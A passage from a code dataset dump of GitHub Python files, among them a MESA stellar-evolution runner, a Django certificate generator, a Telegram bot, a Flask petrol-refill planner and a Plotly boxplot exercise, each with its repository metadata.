pgstar.\n pause (bool): Enable/disable waiting for user input at the end.\n check (bool): Checks whether the model successfully finished.\n model_name (str): Output model name.\n profile_name (str): Output profile name.\n history_name (str): Output history name.\n \"\"\"\n\n def __init__(\n self,\n infile: str,\n pgstar: bool = True,\n pause: bool = True,\n expandVectors: bool = True,\n reloadDefaults: bool = False,\n useMesaenv: bool = True,\n legacyInlist: bool = True,\n ):\n \"\"\"__init__ method\n\n Args:\n infile (str): Name of the inlist used in the run.\n pgstar (bool): Enable/disable pgstar.\n pause (bool): Enable/disable waiting for user input at the end.\n expandVectors (bool): Expand fortran vectors in the inlist.\n reloadDefaults (bool): Reload default inlist files.\n useMesaenv (bool): Use MESA_ENV environment variable.\n legacyInlist (bool): Legacy inlist (before mesa-r15140).\n \"\"\"\n self.inlist = infile\n self.last_inlist = infile\n self.expandVectors = expandVectors\n self.reloadDefaults = reloadDefaults\n self.useMesaenv = useMesaenv\n self.legacyInlist = legacyInlist\n self.pause = pause\n self.pgstar = pgstar\n self.model_name = \"\"\n self.profile_name = \"\"\n self.history_name = \"\"\n self.run_time = 0\n\n self.convergence = False\n if isinstance(self.inlist, list):\n self.summary = np.zeros_like(self.inlist, dtype=bool)\n else:\n self.summary = False\n\n def run(self, check_age: bool = True) -> None:\n \"\"\"Runs either a single inlist or a list of inlists.\n\n args:\n check_age (bool): Check whether the output\n model has the desired max_age.\n \"\"\"\n if isinstance(self.inlist, list):\n for ind, item in enumerate(self.inlist):\n self.last_inlist = item\n self.run_support(item, check_age)\n self.summary[ind] = self.convergence\n if not (self.convergence):\n raise SystemExit(\"Aborting since\", item, \"failed to converge\")\n\n print(\"Finished running inlists\", self.inlist)\n else:\n self.run_support(self.inlist, check_age)\n\n def run_support(self, inlist: str, check_age: bool) -> None:\n \"\"\"Helper function for running MESA.\n\n Args:\n inlist (str): Inlist to run.\n check_age (bool): Check whether the output\n model has the desired max_age.\n \"\"\"\n\n # to-do: implement option to store terminal\n # output in a log file\n if not self.inlist == \"inlist\":\n self.remove_file(\"inlist\")\n self.remove_file(\"restart_photo\")\n copy2(self.inlist, \"inlist\")\n inList = MesaInlist(\n infile=\"inlist\",\n outfile=\"inlist\",\n expandVectors=self.expandVectors,\n reloadDefaults=self.reloadDefaults,\n useMesaenv=self.useMesaenv,\n legacyInlist=self.legacyInlist,\n suppressWarnings=False\n )\n self.model_name = inList[\"save_model_filename\"]\n try:\n self.profile_name = inList[\"filename_for_profile_when_terminate\"]\n except KeyError:\n self.profile_name = \"profile.data\"\n\n try:\n self.history_name = inList[\"star_history_name\"]\n except KeyError:\n self.history_name = \"history.data\"\n\n if self.pause:\n inList[\"pause_before_terminate\"] = True\n else:\n inList[\"pause_before_terminate\"] = False\n\n if self.pgstar:\n inList[\"pgstar_flag\"] = True\n else:\n inList[\"pgstar_flag\"] = False\n\n inList.writeInlist()\n\n self.remove_file(self.model_name)\n self.remove_file(self.profile_name)\n\n start_time = datetime.datetime.now()\n if os.path.isfile(\"star\"):\n print(\"Running\", inlist)\n subprocess.call(\"./star\")\n else:\n print(\"You need to build star first!\")\n sys.exit()\n end_time = datetime.datetime.now()\n run_time = str(end_time - start_time)\n self.run_time = run_time\n micro_index = run_time.find(\".\")\n\n if check_age:\n if os.path.isfile(self.profile_name):\n md = mr.MesaData(self.profile_name)\n star_age = md.star_age\n max_age = inList[\"max_age\"]\n\n if star_age < max_age:\n print(42 * \"%\")\n print(\n \"Star age is {:.2E}, while max age is {:.2E}\".format(\n star_age, max_age\n )\n )\n print(\n \"Failed to complete\",\n inlist,\n \"after {} h:mm:ss\".format(run_time[:micro_index]),\n )\n print(42 * \"%\")\n self.convergence = False\n else:\n print(42 * \"%\")\n print(\n \"Evolving the star took:\",\n \"{} h:mm:ss\".format(run_time[:micro_index]),\n )\n print(42 * \"%\")\n self.convergence = True\n else:\n print(42 * \"%\")\n print(f\"Could not find profile {self.profile_name}\")\n print(\n \"Failed to complete\",\n inlist,\n \"after {} h:mm:ss\".format(run_time[:micro_index]),\n )\n print(42 * \"%\")\n self.convergence = False\n\n else:\n if os.path.isfile(self.model_name):\n print(42 * \"%\")\n print(\n \"Evolving the star took:\",\n \"{} h:mm:ss\".format(run_time[:micro_index]),\n )\n print(42 * \"%\")\n self.convergence = True\n else:\n print(42 * \"%\")\n print(f\"Could not find model {self.model_name}\")\n print(\n \"Failed to complete\",\n inlist,\n \"after {} h:mm:ss\".format(run_time[:micro_index]),\n )\n print(42 * \"%\")\n self.convergence = False\n\n def restart(self, photo: str) -> None:\n \"\"\"Restarts the run from the given photo.\n\n Args:\n photo (str): Photo to run from in the photos directory.\n \"\"\"\n if not (os.path.isfile(\"inlist\")):\n copy2(self.last_inlist, \"inlist\")\n\n photo_path = os.path.join(\"photos\", photo)\n if os.path.isfile(photo_path):\n subprocess.call([\"./re\", photo])\n else:\n print(photo_path, \"not found\")\n\n def restart_latest(self) -> None:\n \"\"\"Restarts the run from the latest photo.\"\"\"\n old_path = os.getcwd()\n new_path = os.path.expanduser(\"photos\")\n os.chdir(new_path)\n latest_file = max(glob.iglob(\"*\"), key=os.path.getctime)\n os.chdir(old_path)\n\n if not (os.path.isfile(\"inlist\")):\n copy2(self.last_inlist, \"inlist\")\n\n if latest_file:\n print(\"Restarting with photo\", latest_file)\n subprocess.call([\"./re\", latest_file])\n else:\n print(\"No photo found.\")\n\n def copy_logs(self, dir_name: str) -> None:\n \"\"\"Save the current logs and profile.\n\n Args:\n dir_name (str): Destination to copy the logs to.\n \"\"\"\n if not (self.profile_name):\n inList = MesaInlist(\n infile=\"inlist\",\n outfile=\"foo\",\n expandVectors=self.expandVectors,\n reloadDefaults=self.reloadDefaults,\n useMesaenv=self.useMesaenv,\n legacyInlist=self.legacyInlist,\n suppressWarnings=False\n ).inlist\n self.profile_name = inList[\"filename_for_profile_when_terminate\"]\n\n dst = os.path.join(dir_name, self.profile_name)\n copy_tree(\"LOGS\", dir_name)\n if os.path.isfile(self.profile_name):\n move(self.profile_name, dst)\n\n @staticmethod\n def make() -> None:\n \"\"\"Builds the star executable.\"\"\"\n print(\"Building star\")\n subprocess.call(\"./mk\")\n\n @staticmethod\n def cleanup(\n keep_png: bool = False, keep_logs: bool = False, keep_photos: bool = True\n ) -> None:\n \"\"\"Cleans the photos, png and logs directories.\n\n Args:\n keep_png (bool): Store/delete the png directory.\n keep_logs (bool): Store/delete the logs directory.\n keep_photos (bool): Store/delete the photo directory.\n \"\"\"\n if not (keep_png):\n dir_name = \"png\"\n if os.path.isdir(dir_name):\n items = os.listdir(dir_name)\n for item in items:\n if item.endswith(\".png\"):\n os.remove(os.path.join(dir_name, item))\n\n if not (keep_logs):\n dir_name = \"LOGS\"\n if os.path.isdir(dir_name):\n items = os.listdir(dir_name)\n for item in items:\n if item.endswith(\".data\") or item.endswith(\".index\"):\n os.remove(os.path.join(dir_name, item))\n\n if not (keep_photos):\n dir_name = \"photos\"\n if os.path.isdir(dir_name):\n items = os.listdir(dir_name)\n for item in items:\n os.remove(os.path.join(dir_name, item))\n\n @staticmethod\n def remove_file(file_name: str) -> None:\n \"\"\"Safely removes a file.\n\n Args:\n file_name (str): File to delete.\n \"\"\"\n if os.path.isfile(file_name):\n os.remove(file_name)\n","repo_name":"tiny-hippo/pymesatools","sub_path":"mesatools/runner.py","file_name":"runner.py","file_ext":"py","file_size_in_byte":10576,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"3536200466","text":"def solution(routes):\n routes.sort(key=lambda x: x[1])\n check = []\n print(routes)\n check.append(routes[0][1])\n for i in range(1, len(routes)):\n j = check.pop()\n if routes[i][0] <= j:\n check.append(j)\n else:\n check.append(j)\n check.append(routes[i][1])\n print(check)\n\n return len(check)\n\nprint(solution([[-20,-15], [-14,-5], [-18,-13], [-5,-3]]))\n\n'''\n테스트 1 〉\t통과 (0.02ms, 10.2MB)\n테스트 2 〉\t통과 (0.02ms, 10.2MB)\n테스트 3 〉\t통과 (0.02ms, 10.2MB)\n테스트 4 〉\t통과 (0.03ms, 10.1MB)\n테스트 5 〉\t통과 (0.03ms, 10.3MB)\n효율성 테스트\n테스트 1 〉\t통��� (0.52ms, 10.3MB)\n테스트 2 〉\t통과 (0.55ms, 10.2MB)\n테스트 3 〉\t통과 (1.22ms, 10.6MB)\n테스트 4 〉\t통과 (0.09ms, 10.1MB)\n테스트 5 〉\t통과 (1.41ms, 10.3MB)\n'''","repo_name":"Ryu4949/PS","sub_path":"programmers/01_greedy/06_cctv/sol 1.py","file_name":"sol 1.py","file_ext":"py","file_size_in_byte":854,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"23561160395","text":"from django.template.loader import get_template\nfrom django.http import HttpResponse\nfrom django.shortcuts import get_object_or_404\n\nfrom reportlab.lib.pagesizes import letter\nfrom reportlab.lib.utils import ImageReader\nfrom reportlab.pdfgen import canvas\nfrom reportlab import platypus\n\n\nfrom PIL import Image, ImageDraw, ImageFont\nfrom .models import Student\n\n#reportlab\ndef generate_pdf(request):\n\n student = Student.objects.get(id=2)\n image = Image.open(student.certificate.path)\n\n response = HttpResponse(content_type='application/pdf')\n response['Content-Disposition'] = 'filename=\"certificate.pdf\"'\n \n pdf = canvas.Canvas(response, pagesize=letter)\n\n width, height = letter\n image_width, image_height = image.size\n aspect_ratio = image_width / float(image_height)\n image_width = width - 80\n image_height = image_width / aspect_ratio \n \n pdf.drawImage(ImageReader(image), 40, 400, width=image_width, height=image_height)\n\n pdf.showPage()\n pdf.save()\n\n return response\n\n\ndef imgpack(request):\n\n students = Student.objects.all()\n\n for student in students:\n\n img = Image.open(student.certificate.path)\n font = ImageFont.truetype(\"fonts/majestic-x.ttf\", size=155)\n idraw = ImageDraw.Draw(img)\n idraw.text((1225, 800), student.full_name, font=font)\n idraw.text((390, 1530), student.mentor, font=ImageFont.truetype('arial.ttf', size=70))\n idraw.text((2700, 1530), '21.09.2023', font=ImageFont.truetype('arial.ttf', size=70))\n idraw.text((678, 1150), student.course, font=ImageFont.truetype('arial.ttf', size=80))\n img.save(student.certificate.path)\n img = Image.open('bg.png')\n\n img.show()\n\n return img\n\n","repo_name":"RuSlan0605/certificate","sub_path":"certificates/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1733,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"31981578624","text":"from datetime import datetime\nfrom telegram.ext import CommandHandler, Filters, MessageHandler, Updater, RegexHandler\nfrom conf.settings import TELEGRAM_TOKEN\nfrom telegram import InlineKeyboardButton, InlineKeyboardMarkup, KeyboardButton, ReplyKeyboardMarkup\n\n\ndef start(bot, update):\n\n\n msg = \"Bem vindo a infoDev empresa fictícia!\"\n msg += \"\\nEu sou a Sami e estou aqui para ajudar você.\\n\"\n msg += \"O que você quer fazer?\\n\"\n '''msg += \"/suporte - Ajuda técnicas\\n\"\n msg += \"/conhecer - Conhecer a infoDev\\n\"\n msg += \"/opcoes - Ir para nosso site ou fazer login\\n\"\n msg += \"/fotinha - Ver uma fotinha fofinha\"'''\n\n bot.send_message(\n chat_id=update.message.chat_id,\n text=msg\n )\n print('Requerido por {name} as {time}'.format(name=update.effective_user.name,time=datetime.now().strftime('%d/%m/%Y, %H:%M:%S')))\n\n menu_keyboard = [[KeyboardButton('Suporte')], ['Quem somos'], [\n 'Outras Opções'], ['Fotinha']]\n menu_markup = ReplyKeyboardMarkup(\n menu_keyboard, one_time_keyboard=True, resize_keyboard=True)\n\n bot.send_message(update.message.chat_id,\n text=\"Escolha uma opção\", reply_markup=menu_markup)\n\n \ndef start_settings_select(bot, update, groups):\n\n chat_id = update.message.chat_id\n option = groups[0]\n \n if option == 'Sup':\n bot.send_message(\n chat_id=update.message.chat_id,\n text='Em construção...'\n )\n \n elif option == 'Que':\n msg = \"Somos uma empresa fictícia desenvolvida apenas para dar sentido a este bot.\\n\"\n msg += \"\\nConheça outras opções\\n\"\n\n main_menu_keyboard = [[KeyboardButton('Nível 1')],\n [KeyboardButton('Nível 2')],\n [KeyboardButton('Nível 3')],\n [KeyboardButton('Nível 4')],\n [KeyboardButton('Nível 5')]\n ]\n reply_kb_markup = ReplyKeyboardMarkup(main_menu_keyboard,\n resize_keyboard=True,\n one_time_keyboard=True)\n bot.send_message(chat_id=update.message.chat_id,\n text=msg,\n reply_markup=reply_kb_markup)\n elif option == 'Out':\n keyboard = []\n keyboard.append([InlineKeyboardButton(\n 'Ir para site', 'https://motivaai.nandomoreira.me/', callback_data='1')])\n keyboard.append([InlineKeyboardButton(\n 'Fazer Login', 'https://www.linkedin.com/', callback_data='2')])\n reply_markup = InlineKeyboardMarkup(keyboard)\n\n update.message.reply_text(\n 'Escolha uma opção:', reply_markup=reply_markup)\n \n elif option == 'Fot':\n bot.sendPhoto(\n chat_id=update.message.chat_id,\n photo=\"https://abrilmdemulher.files.wordpress.com/2016/10/meme-cc3a3o-feliz.jpg?quality=90&strip=info&w=600&h=886\"\n )\n \n else:\n bot.send_message(\n chat_id=update.message.chat_id,\n text=\"Comando inválido\"\n )\n\ndef quemSomos(bot, update):\n\n msg = \"Somos uma empresa fictícia desenvolvida apenas para dar sentido a este bot.\\n\"\n msg += \"\\nConheça outras opções\\n\"\n\n main_menu_keyboard = [[KeyboardButton('Nível 1')],\n [KeyboardButton('Nível 2')],\n [KeyboardButton('Nível 3')],\n [KeyboardButton('Nível 4')],\n [KeyboardButton('Nível 5')]\n ]\n reply_kb_markup = ReplyKeyboardMarkup(main_menu_keyboard,\n resize_keyboard=True,\n one_time_keyboard=True)\n bot.send_message(chat_id=update.message.chat_id,\n text=msg,\n reply_markup=reply_kb_markup)\n\ndef opcoes(bot, update):\n\n keyboard = []\n keyboard.append([InlineKeyboardButton(\n 'Ir para site', 'https://motivaai.nandomoreira.me/', callback_data='1')])\n keyboard.append([InlineKeyboardButton(\n 'Fazer Login', 'https://www.linkedin.com/', callback_data='2')])\n reply_markup = InlineKeyboardMarkup(keyboard)\n\n update.message.reply_text('Escolha uma opção:', reply_markup=reply_markup)\n\ndef enviaFoto(bot, update):\n bot.sendPhoto(\n chat_id=update.message.chat_id,\n photo=\"https://abrilmdemulher.files.wordpress.com/2016/10/meme-cc3a3o-feliz.jpg?quality=90&strip=info&w=600&h=886\"\n )\n\n\ndef main():\n updater = Updater(token=TELEGRAM_TOKEN)\n\n dispatcher = updater.dispatcher\n\n dispatcher.add_handler(CommandHandler('start', start))\n dispatcher.add_handler(CommandHandler('conhecer', quemSomos))\n dispatcher.add_handler(CommandHandler('foto', enviaFoto))\n dispatcher.add_handler(CommandHandler('opcoes', opcoes))\n\n get_option_start_handler = RegexHandler('^([A-Z]{1}[a-z]{2}).*',\n start_settings_select,\n pass_groups=True)\n\n dispatcher.add_handler(get_option_start_handler)\n\n updater.start_polling()\n updater.idle()\n\nif __name__ == '__main__':\n print(\"press CTRL + C to cancel.\")\n main()\n","repo_name":"NadiaaOliverr/Chatbot-Telegram","sub_path":"http-infoDev/src/core.py","file_name":"core.py","file_ext":"py","file_size_in_byte":5323,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"43132222986","text":"import csv\nimport datetime\nimport json\nfrom random import random\nfrom flask import request\nimport requests\n\nfrom faker import Faker\n\nfake = Faker()\n\n\n# fake.date_between(start_date='today', end_date='+30d')\n# fake.date_time_between(start_date='-30d', end_date='now')\n#\n# # Or if you need a more specific date boundaries, provide the start\n# # and end dates explicitly.\n# start_date = datetime.date(year=2015, month=1, day=1)\n# fake.date_between(start_date=start_date, end_date='+30y')\n\n#def get_random_date():\n# \"\"\"Generate a random datetime between `start` and `end`\"\"\"\n# return fake.date_time_between(start_date='-30d', end_date='now')\n\n\n#def get_random_date_in(start, end):\n# \"\"\"Generate a random datetime between `start` and `end`\"\"\"\n# return start + datetime.timedelta(\n# # Get a random amount of seconds between `start` and `end`\n# seconds=random.randint(0, int((end - start).total_seconds())), )\n\ndef user_information():\n \"\"\"\n Collect user information such as the IP address, the city, the region and the country\n\n Returns:\n location: a dictionary containing the IP address, the city, the region and the country of the user\n \"\"\"\n\n ip_address = request.remote_addr # collect the ip_addr\n\n # collect the city, country and region\n response = requests.get(f'https://ipapi.co/{ip_address}/json/').json()\n location_data = {\n \"ip\": ip_address,\n \"city\": response.get(\"city\"),\n \"region\": response.get(\"region\"),\n \"country\": response.get(\"country_name\")\n }\n return location_data\n\n\ndef load_json_file(path):\n \"\"\"Load JSON content from file in 'path'\n\n Parameters:\n path (string): the file path\n\n Returns:\n json_data: an array containing the tweets\n \"\"\"\n\n # Load the file into a unique string\n json_data = []\n # open the JSON file\n with open(path) as fp:\n for jsonObj in fp:\n tweetsDict = json.loads(jsonObj)\n json_data.append(tweetsDict) # add the tweets in our array tweets\n return json_data\n\ndef load_name_docs(path):\n \"\"\"Load CSV content from file in 'path'\n\n Parameters:\n path (string): the file path\n\n Returns:\n doc_id: a dictionary containing the name associated to each tweet id\n \"\"\"\n\n doc_id = {}\n # open the CSV file\n with open(path, newline='') as csvfile:\n spamreader = csv.reader(csvfile, delimiter=' ', quotechar=' ')\n for row in spamreader:\n doc_id[row[0].split()[1]] = row[0].split()[0] # add the doc number as an entry of our dictionary, having the tweet id as the key of this entry\n return doc_id","repo_name":"Maronho27/IRWA_Alex_Antonio","sub_path":"IRWA-2022-part-4/myapp/core/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":2613,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"39611144869","text":"\r\nfrom flask import Flask,render_template,request,redirect,url_for\r\nimport pandas as pd\r\nimport numpy as np\r\nfrom datetime import datetime\r\nfrom sklearn.linear_model import LinearRegression\r\nfrom pulp import *\r\n\r\napp=Flask(__name__) \r\n\r\n\r\n#Gets the lists for plotting the histogram\r\ndef for_hist(var,num,col):\r\n var_bins = pd.cut(var, \r\n bins=np.arange(0, int(max(var))+num+1,num), right=False,\r\n labels=[i for i in range(0,int(max(var))+1,num)])\r\n\r\n count = pd.Series.groupby(var_bins,by=var_bins,).count().reset_index(name='freq')\r\n x = list(count[col])\r\n freq = list(count['freq'])\r\n return x,freq\r\n\r\n#Gets coordinates for the scatter plot\r\ndef bivar_list(var1, var2):\r\n newlist=[]\r\n for x, y in zip(var1, var2):\r\n newlist.append({'x': x, 'y': y})\r\n newlist = str(newlist).replace('\\'', '')\r\n return newlist\r\n\r\n#Calculates lags for the petrol prices\r\ndef prices_df(p_df1):\r\n p_df1[\"Date\"] = p_df1[p_df1.columns[0:3]].apply( \r\n lambda x: ' '.join(x.astype(str)),\r\n axis=1)\r\n p_df1 = pd.concat([p_df1['Date'],p_df1['Delhi']],axis=1)\r\n p_df1.set_index('Date',inplace= True) \r\n p_df1['lag3']=p_df1.Delhi.shift(3)\r\n p_df1['lag5']=p_df1.Delhi.shift(5)\r\n p_df1['lag7']=p_df1.Delhi.shift(7)\r\n return p_df1\r\n\r\n#Gives the lists of dates, actual prices and lag values; n-lag\r\ndef get_lags(p_df2, n):\r\n x = list(p_df2.index[int(n):])\r\n y1 = list(p_df2.Delhi[int(n):])\r\n y2= list(p_df2['lag'+str(n)].iloc[int(n):])\r\n return x,y1,y2\r\n\r\n#Predicts today's petrol price\r\ndef lin_reg(x,y, ch=\"nil\"): \r\n x = np.array(x).reshape(-1,1)\r\n y = np.array(y).reshape(-1,1)\r\n n = int(0.8*len(x))\r\n X_train = x[:n]\r\n y_train = y[:n] \r\n if ch==\"opt\":\r\n test = x[-6].reshape((-1, 1))\r\n else:\r\n test=x\r\n regressor = LinearRegression() \r\n regressor.fit(X_train, y_train)\r\n y_pred = regressor.predict(test)\r\n y_pred = y_pred.reshape(1,-1)\r\n return y_pred[0]\r\n\r\n#Calculates optimal refill quantity and period\r\ndef optimal(user):\r\n ans=[]\r\n err= \"nil\"\r\n p=0\r\n p_df = prices_df(prices)\r\n day,y_act,y_lag = get_lags(p_df,n=5)\r\n petrol=lin_reg(x=y_lag, y=y_act, ch=\"opt\")[0]\r\n\r\n prob=LpProblem(\"Fuel\",LpMaximize)\r\n x1=LpVariable(\"x1\",lowBound=1, cat='Integer')\r\n Q = x1*user[\"D_dist\"]/user[\"Mileage\"]\r\n prob += Q\r\n prob += petrol*Q <= user['Amt']\r\n prob += Q <= user[\"Tank_cap\"]\r\n prob += -Q <= -user[\"Reserve_cap\"]\r\n status=prob.solve()\r\n if LpStatus[status]=='Optimal':\r\n n = int(value(x1))\r\n Q1 = round(value(prob.objective),2)\r\n p = round(petrol*Q1)\r\n ans = [n,Q1]\r\n return ans, err, p \r\n else:\r\n err = \"Inconsistent data\"\r\n return ans, err, p\r\n\r\n\r\n#User data\r\n#user_df = pd.read_csv(\"C:\\Users\\raksh\\OneDrive\\Desktop\\Final\\FINAL FINAL\\userdata1.csv\")\r\n\r\n#Petrol prices\r\nprices = pd.read_csv(\"C:\\\\Users\\\\raksh\\\\OneDrive\\\\Desktop\\\\Final\\\\FINAL FINAL\\\\petrolprices.csv\")\r\n\r\n\r\n#HOMEPAGE\r\n@app.route(\"/\",methods=[\"GET\",\"POST\"])\r\ndef home():\r\n return render_template(\"home.html\")\r\n\r\n#REGISTRATION PAGE\r\n@app.route(\"/reg\",methods=[\"GET\",\"POST\"])\r\ndef reg():\r\n return render_template(\"reg.html\")\r\n\r\n\r\n#MAIN OUTPUT PAGE\r\n@app.route(\"/result\",methods=[\"GET\",\"POST\"]) #new\r\ndef result():\r\n user_df = pd.read_csv(\"C:\\\\Users\\\\raksh\\\\OneDrive\\\\Desktop\\\\Final\\\\FINAL FINAL\\\\userdata1.csv\")\r\n if request.method == \"POST\":\r\n user = {\r\n 'Sl.no': len(user_df)+1,\r\n # 'Username': request.form[\"username\"],\r\n 'Vehicle': request.form[\"vm\"],\r\n 'Mileage': float(request.form[\"mil\"]),\r\n 'Tank_cap': float(request.form[\"tc\"]),\r\n 'Reserve_cap': float(request.form[\"rc\"]),\r\n 'Engine_cap': float(request.form[\"ec\"]),\r\n 'D_dist': float(request.form[\"dist\"]),\r\n 'W_dist': float(request.form[\"m_dist\"]),\r\n 'Refill_period': int(request.form[\"period\"]),\r\n 'Last_refill': int(request.form[\"lst_day\"]),\r\n 'Refill_qty': float(request.form[\"rqty\"]),\r\n 'Amt': float(request.form[\"amt\"])\r\n }\r\n \r\n result,msg,p = optimal(user)\r\n if(msg==\"nil\"):\r\n user_df=user_df.append(user, ignore_index=True)\r\n user_df.to_csv('C:\\\\Users\\\\raksh\\\\OneDrive\\\\Desktop\\\\Final\\\\FINAL FINAL\\\\userdata1.csv', index = False)\r\n\r\n return render_template(\"result.htm\", res=result, msg=msg, price=p)\r\n\r\n#EDA - UNIVARIATE\r\n@app.route(\"/unieda\", methods = [\"GET\", \"POST\"])\r\ndef univariate():\r\n user_df = pd.read_csv(\"C:\\\\Users\\\\raksh\\\\OneDrive\\\\Desktop\\\\Final\\\\FINAL FINAL\\\\userdata1.csv\")\r\n Mil,Mil_freq = for_hist(user_df['Mileage'], num=5, col=\"Mileage\")\r\n\r\n tank, tank_freq = for_hist(user_df['Tank_cap'], num=5, col=\"Tank_cap\")\r\n\r\n dist, dist_freq = for_hist(user_df['D_dist'], num=10, col=\"D_dist\")\r\n\r\n Amtt, Amt_freq = for_hist(user_df['Amt'], num=100, col=\"Amt\")\r\n\r\n Refill_freq_count = user_df.groupby('Refill_period')['Refill_period'].count().reset_index(name='freq')\r\n refill_period = list(Refill_freq_count['Refill_period'])\r\n ref_freq = list(Refill_freq_count['freq']) \r\n\r\n return render_template('univariate.html', Mil1=Mil, Mil_freq=Mil_freq, tank=tank, tank_freq=tank_freq, dist=dist, dist_freq=dist_freq, \r\n Amt=Amtt, Amt_freq=Amt_freq, refill_period=refill_period, ref_freq=ref_freq)\r\n\r\n\r\n#EDA - BIVARIATE\r\n@app.route(\"/bieda\", methods = [\"GET\", \"POST\"])\r\ndef bivariate():\r\n user_df = pd.read_csv(\"C:\\\\Users\\\\raksh\\\\OneDrive\\\\Desktop\\\\Final\\\\FINAL FINAL\\\\userdata1.csv\")\r\n T_cap = list(user_df['Tank_cap'])\r\n E_cap = list(user_df['Engine_cap'])\r\n Mil = list(user_df['Mileage']) \r\n Amt_bud = list(user_df['Amt'])\r\n Refill = list(user_df['Refill_period'])\r\n \r\n T_M = bivar_list(T_cap,Mil)\r\n E_M = bivar_list(E_cap,Mil)\r\n Amt_M = bivar_list(Mil, Amt_bud)\r\n Refill_M = bivar_list(Mil, Refill)\r\n\r\n return render_template('bivariate.html', Tcap_M=T_M, Ecap_M=E_M, Amt_M=Amt_M, Refill_M=Refill_M)\r\n\r\n\r\n#EDA - LAGS\r\n@app.route(\"/lags\", methods = [\"GET\", \"POST\"])\r\ndef lags():\r\n p_prices = prices_df(prices)\r\n x3, y_act3, y_lag3 = get_lags(p_prices,3)\r\n y_pred3 = list(lin_reg(x=y_lag3, y=y_act3))\r\n x5, y_act5, y_lag5 = get_lags(p_prices,5)\r\n y_pred5 = list(lin_reg(x=y_lag5, y=y_act5))\r\n x7, y_act7, y_lag7 = get_lags(p_prices,7)\r\n y_pred7 = list(lin_reg(x=y_lag7, y=y_act7))\r\n\r\n return render_template('lagss.html', x3=x3, y_act3=y_act3, y_pred3=y_pred3, x5=x5, y_act5=y_act5, y_pred5=y_pred5, x7=x7, y_act7=y_act7, y_pred7=y_pred7)\r\n\r\n# @app.route(\"/lags\",methods=[\"GET\",\"POST\"]) #new\r\n# def lags():\r\n# return render_template(\"lags.html\")\r\n\r\n\r\n#ABOUT\r\n@app.route(\"/about\", methods = [\"GET\", \"POST\"])\r\ndef about():\r\n return render_template('about.html')\r\n\r\n@app.route(\"/hmm\", methods = [\"GET\", \"POST\"])\r\ndef blah():\r\n nam = {'pls': user_df.columns.to_list()}\r\n return nam\r\n\r\n\r\nif __name__==\"__main__\":\r\n app.run(debug=True)\r\n","repo_name":"JyothiTom/Petrol_Planner","sub_path":"PP.py","file_name":"PP.py","file_ext":"py","file_size_in_byte":7059,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"36769681656","text":"#######################################################################################\n\n# EXCERCISE 5: Boxplots Excercise\n# Udemy Online Course: \"Python Visualization Dashboards with Plotly's Dash Library\"\n# https://www.udemy.com/course/interactive-python-dashboards-with-plotly-and-dash/\n\n# @Author: AIMendez\n# Created on 16-06-2020\n\n#######################################################################################\n# Objective: Make a DataFrame using the Abalone dataset (../data/abalone.csv).\n# Take two independent random samples of different sizes from the 'rings' field.\n# HINT: np.random.choice(df['rings'],10,replace=False) takes 10 random values\n# Use box plots to show that the samples do derive from the same population.\n#######################################################################################\n\n# Perform imports here:\nimport pandas as pd \nimport numpy as np\nimport plotly.offline as pyo\nimport plotly.graph_objs as go\nimport os\ncwd = os.getcwd()\n\n# create a DataFrame from the .csv file:\ndf = pd.read_csv( cwd+'/data/abalone.csv')\nprint(df.head())\n\n# take two random samples of different sizes:\n\nsample_0 = np.random.choice(df['rings'],10,replace=False)\nsample_1 = np.random.choice(df['rings'],10,replace=False)\n\n\n# create a data variable with two Box plots:\nfig = go.Figure()\n\ntrace0 = go.Box(\n\t\t\t y = sample_0,\n\t\t\t boxpoints = 'all', #'outliers' as second option\n\t\t\t jitter = 0.1, #how spread the points are\n\t\t\t pointpos = 0 #off set of points respect to box\n\t\t\t )\n\ntrace1 = go.Box(\n\t\t\t y = sample_1,\n\t\t\t boxpoints = 'all', \n\t\t\t jitter = 0.3,\n\t\t\t pointpos = 0\n\t\t\t )\n\t\t\n\nfig.add_traces([trace0, trace1])\n\n\n# add a layout\nlayout = go.Layout(\n\t\t\t\t title = 'Excercise 5 Solution',\n\t\t\t\t xaxis_title = 'rings',\n\t\t\t\t\t)\n\nfig.update_layout(layout)\n\n\n# create a fig from data & layout, and plot the fig\npyo.plot(fig, filename='Ex_5.html')\n","repo_name":"aimendez/Udemy_Certification_Dashboards_Plotly","sub_path":"Excercise_Solutions/Ex_5.py","file_name":"Ex_5.py","file_ext":"py","file_size_in_byte":1897,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"26296204440","text":"\"\"\"\nMain Script\n\nAuthor: Yunhan Yang (yhyang.myron@gmail.com)\n\"\"\"\n\nimport os\nimport cv2\nimport numpy as np\nimport open3d as o3d\nimport torch\nimport copy\nimport multiprocessing as mp\nimport pointops\nimport random\nimport argparse\n\nfrom segment_anything import build_sam, SamAutomaticMaskGenerator\nfrom concurrent.futures import ProcessPoolExecutor\nfrom itertools import repeat\nfrom PIL import Image\nfrom os.path import join\nfrom util import *\n\n\ndef pcd_ensemble(org_path, new_path, data_path, vis_path):\n new_pcd = torch.load(new_path)\n new_pcd = num_to_natural(remove_small_group(new_pcd, 20))\n with open(org_path) as f:\n segments = json.load(f)\n org_pcd = np.array(segments['segIndices'])\n match_inds = [(i, i) for i in range(len(new_pcd))]\n new_group = cal_group(dict(group=new_pcd), dict(group=org_pcd), match_inds)\n print(new_group.shape)\n data = torch.load(data_path)\n visualize_partition(data[\"coord\"], new_group, vis_path)\n\n\ndef get_sam(image, mask_generator):\n masks = mask_generator.generate(image)\n group_ids = np.full((image.shape[0], image.shape[1]), -1, dtype=int)\n num_masks = len(masks)\n group_counter = 0\n for i in reversed(range(num_masks)):\n # print(masks[i][\"predicted_iou\"])\n group_ids[masks[i][\"segmentation\"]] = group_counter\n group_counter += 1\n return group_ids\n\n\ndef get_pcd(scene_name, color_name, rgb_path, mask_generator, save_2dmask_path):\n intrinsic_path = join(rgb_path, scene_name, 'intrinsics', 